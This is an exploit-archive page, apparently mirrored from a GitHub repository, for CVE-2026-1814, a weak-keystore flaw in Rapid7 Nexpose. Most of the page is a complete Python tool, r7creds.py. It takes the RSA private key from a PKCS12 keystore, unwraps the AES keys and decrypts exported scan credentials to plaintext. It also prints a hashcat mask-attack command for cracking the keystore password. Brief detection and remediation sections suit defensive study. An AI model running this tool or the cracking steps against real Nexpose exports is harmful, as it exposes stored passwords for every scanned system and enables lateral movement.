PoC Archive PoC Archive
High CVE-2026-1814 unpatched

Rapid7 Nexpose Weak Keystore Entropy Credential Decryption — CVE-2026-1814

by pbrass · 2026-07-05

Severity
High
CVE
CVE-2026-1814
Category
misc
Affected product
Rapid7 Nexpose (vulnerability management platform) credential export/keystore mechanism
Affected versions
Versions using the affected low-entropy PKCS12 keystore scheme (per source repository)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherpbrass
CVE / AdvisoryCVE-2026-1814
Categorymisc
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsrapid7, nexpose, credential-disclosure, weak-keystore, pkcs12, aes-cbc, offline-decryption
RelatedN/A

Affected Target

FieldValue
Software / SystemRapid7 Nexpose (vulnerability management platform) credential export/keystore mechanism
Versions AffectedVersions using the affected low-entropy PKCS12 keystore scheme (per source repository)
Language / PlatformPython 3
Authentication RequiredLocal-only (requires access to exported XML + keystore file)
Network Access RequiredNo

Summary

Rapid7 Nexpose stores site/scan credentials in an exported XML file, with each <credentials> element holding a hex-encoded salt, RSA-wrapped AES key, and AES-CBC-encrypted blob. The private key needed to unwrap the AES key lives in a PKCS12 keystore whose protection is weak enough that it can be brute-forced or cracked offline in realistic time. Once an attacker obtains (or cracks) the keystore, this PoC parses the XML, extracts the salt/key/blob GUID-tagged hex fields, unwraps the AES key using RSA decryption via the private key, and then performs AES-CBC/PKCS5 decryption to recover the underlying plaintext credentials. The tool essentially demonstrates full recovery of stored scan credentials from an exported Nexpose configuration once the keystore has been broken.


Vulnerability Details

Root Cause

The Nexpose keystore protecting the RSA private key used for credential unwrapping has low entropy / weak protection, making it feasible to crack the keystore password offline (e.g., via hashcat) and thereby recover the RSA key that unlocks all encrypted credential blobs in an exported XML.

Attack Vector

  1. Obtain an exported Nexpose site/credentials XML file and its associated PKCS12 keystore (e.g., via backup access, misconfigured file share, or insider access).
  2. If the keystore is password protected, convert it and run an offline hash-cracking attack (e.g., JksPrivkPrepare.jar + hashcat mode 15500) to recover the passphrase, exploiting its weak entropy.
  3. Load the recovered PKCS12 keystore and extract the RSA private key.
  4. Run the PoC against the exported XML: it locates the salt, encrypted AES key, and ciphertext blob per <credentials> entry using fixed GUID markers, uses the RSA private key to unwrap the AES key, then AES-CBC/PKCS5-decrypts the blob.
  5. Recover plaintext scan/site credentials in cleartext.

Impact

An attacker who obtains an exported Nexpose configuration and keystore can fully recover all stored scanning credentials (usernames/passwords for scanned assets), enabling lateral movement across every system Nexpose was configured to scan.


Environment / Lab Setup

Target:   Rapid7 Nexpose exported credentials XML + associated PKCS12 keystore
Attacker: Python 3 with `cryptography` and `pycryptodome` libraries; optional hashcat/JksPrivkPrepare for keystore cracking

Proof of Concept

PoC Script

See r7creds.py in this folder.

1
python3 r7creds.py credentials.xml keystore.p12 "<keystore-password>"

The script opens the PKCS12 keystore to extract the RSA private key, parses the given XML for <credentials> elements, extracts the salt/key/blob hex fields by GUID markers, derives the AES key via RSA decryption, and prints the recovered plaintext strings found in the decrypted blob.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected copies or transfers of Nexpose configuration/credential XML exports and keystore files.
  • Evidence of offline hash-cracking tooling (hashcat, JksPrivkPrepare) run against a Nexpose keystore.
  • Scanned-asset credentials appearing in use from unfamiliar source hosts shortly after a keystore/export leak.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; upgrade keystore protection scheme if Rapid7 issues a fix
Interim mitigationRestrict access to Nexpose configuration exports and keystore files, use strong high-entropy keystore passwords, and rotate all scan credentials if a keystore/export leak is suspected

References


Notes

Mirrored from https://github.com/pbrass/CVE-2026-1814 on 2026-07-05.

r7creds.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#/usr/bin/env python3

# Command line tool to take an XML file, pkcs12 file, and pkcs12 password
# and decrypt credentials entries in the XML file
import sys
import argparse
argparser = argparse.ArgumentParser(description='Dump r7 creds')

argparser.add_argument('xmlfile', help='Filename of XML file with <credentials>')
argparser.add_argument('pkcsfile', help='filename of keystore in PKCS12 format')
argparser.add_argument('password', help='Keystore password')


from cryptography.hazmat.primitives.serialization import pkcs12, PrivateFormat, Encoding, NoEncryption
from cryptography.hazmat.backends import default_backend

def get_private_key_from_pkcs12(pkcs12_path, password):
    """
    Opens a PKCS#12 file and extracts the private key.

    Args:
        pkcs12_path (str): The path to the PKCS#12 file.
        password (str): The password for the PKCS#12 file (can be None if no password).

    Returns:
        cryptography.hazmat.primitives.asymmetric.rsa.RSAPrivateKey or
        cryptography.hazmat.primitives.asymmetric.ec.EllipticCurvePrivateKey:
        The private key object, or None if extraction fails.
    """
    try:
        with open(pkcs12_path, "rb") as f:
            pkcs12_data = f.read()

        # Convert password to bytes if it exists
        password_bytes = password.encode('utf-8') if password else None

        private_key, certificate, additional_certificates = pkcs12.load_key_and_certificates(
            pkcs12_data,
            password_bytes,
            default_backend()
        )
        return private_key
    except Exception as e:
        print(f"Error opening PKCS#12 file or extracting private key: {e}")
        print(f"You may need to convert your keystore to pkcs12:")
        print(f"keytool -importkeystore -srckeystore {pkcs12_path} -destkeystore new_{pkcs12_path} -deststoretype pkcs12")
        print(f"Or you may need to crack your keystore:")
        print(f"java -jar JKS-private-key-cracker-hashcat/JksPrivkPrepare.jar {pkcs12_path} > hash.txt")
        print(f"hashcat.bin -m 15500 -a 3 -1 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*' --increment --increment-min=6 --increment-max=12 hash.txt 'p?1?1?1?1?1?1?1?1?1?1?1' -O")
        print(f"Then re-run this command:")
        print(f"{sys.argv[0]} {args.xmlfile}  new_{pkcs12_path}  {password}")
        exit(1)


import xml.etree.ElementTree as ET


def extract_hex(credtxt, guid):
    if not credtxt or not guid:
        return {'hex_index': -1, 'byte_index': -1, 'needle': ''}
    idx = credtxt.find(guid)
    if idx  == -1:
        print(f"Couldn't find guid {guid} in {credtxt}")
        exit()

    idx = idx+len(guid)
    hexlenstr = credtxt[idx:idx+4]
    idx = idx + 4
    hexlen = 2* int.from_bytes(unhexlify(hexlenstr),'little')
    hexstr = credtxt[idx:idx+hexlen]
    if len(hexstr) != hexlen:
        print(f"Failed to extract {hexlen} characters at offset {idx} in {credtxt}")
        exit()
    return hexstr

from binascii import unhexlify, hexlify
saltguid = "bf460ee9-bb99-48e9-bf27-f35184d3644f"
blobguid = "9888ed13-77fc-4b1b-a434-d424c6b0681d"
keyguid =  "e7218525-bef3-4686-95c0-9a3a3da63d88"

def get_aes_key(filekey, privatekey):
    x = int.from_bytes(filekey)
    #print(f"x: {x}")
    y = pow(x, privatekey.private_numbers().d, privatekey.private_numbers().public_numbers.n)
    #print(f"y: {y}")
    ybytes = y.to_bytes(1000, 'big')
    #print(f"ybytes: {hexlify(ybytes)}")
    aeskey = ybytes[-32:]
    #print(f"aeskey: {aeskey}")
    return aeskey

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc_pkcs5_hex(blob, aeskey, salt):
    cipher = AES.new(aeskey, AES.MODE_CBC, salt)
    decrypted_padded_data = cipher.decrypt(blob)

    # Unpad the decrypted data using PKCS5 padding
    try:
        plaintext = unpad(decrypted_padded_data, AES.block_size)
    except:
        print(f"Failed to unpad ciphertext, you sure you're using the right keystore for this xml file?")
        exit()

    return plaintext

def process_credential(credtxt, privatekey):
    saltstr = extract_hex(credtxt, saltguid)
    #print(f"salt: {saltstr}")
    salt = unhexlify(saltstr)
    blobstr = extract_hex(credtxt, blobguid)
    #print(f"blob: {blobstr}")
    blob = unhexlify(blobstr)
    keystr = extract_hex(credtxt, keyguid)
    key  = unhexlify(keystr)
    #print(f"key: {key}")
    aeskey = get_aes_key(key, privatekey)
    #print(f"AES key: {hexlify(aeskey)}")
    plaintext = decrypt_aes_cbc_pkcs5_hex(blob, aeskey, salt)
    return plaintext




def process_xmlfile(xmlfile, privatekey):
    try:
        tree = ET.parse(xmlfile)
        root = tree.getroot()
    except FileNotFoundError:
        print(f"Error: xml file {xmlfile} not found")
        exit(1)
    except ET.ParseError as e:
        print(f"Error: Error parsing XML file {xmlfile}: {e}")
        exit(1)

    for credential in root.iter('credentials'):
        credtxt = (credential.text or '').strip()
        if credtxt:
            plaintext = process_credential(credtxt, privatekey)
            import re
            pattern = re.compile(rb'[ -~]{4,}')
            matches = re.findall(pattern, plaintext)
            print(f"plaintext: {matches}")



if __name__ == '__main__':
    args = argparser.parse_args()
    privatekey = get_private_key_from_pkcs12(args.pkcsfile, args.password)
    process_xmlfile(args.xmlfile, privatekey)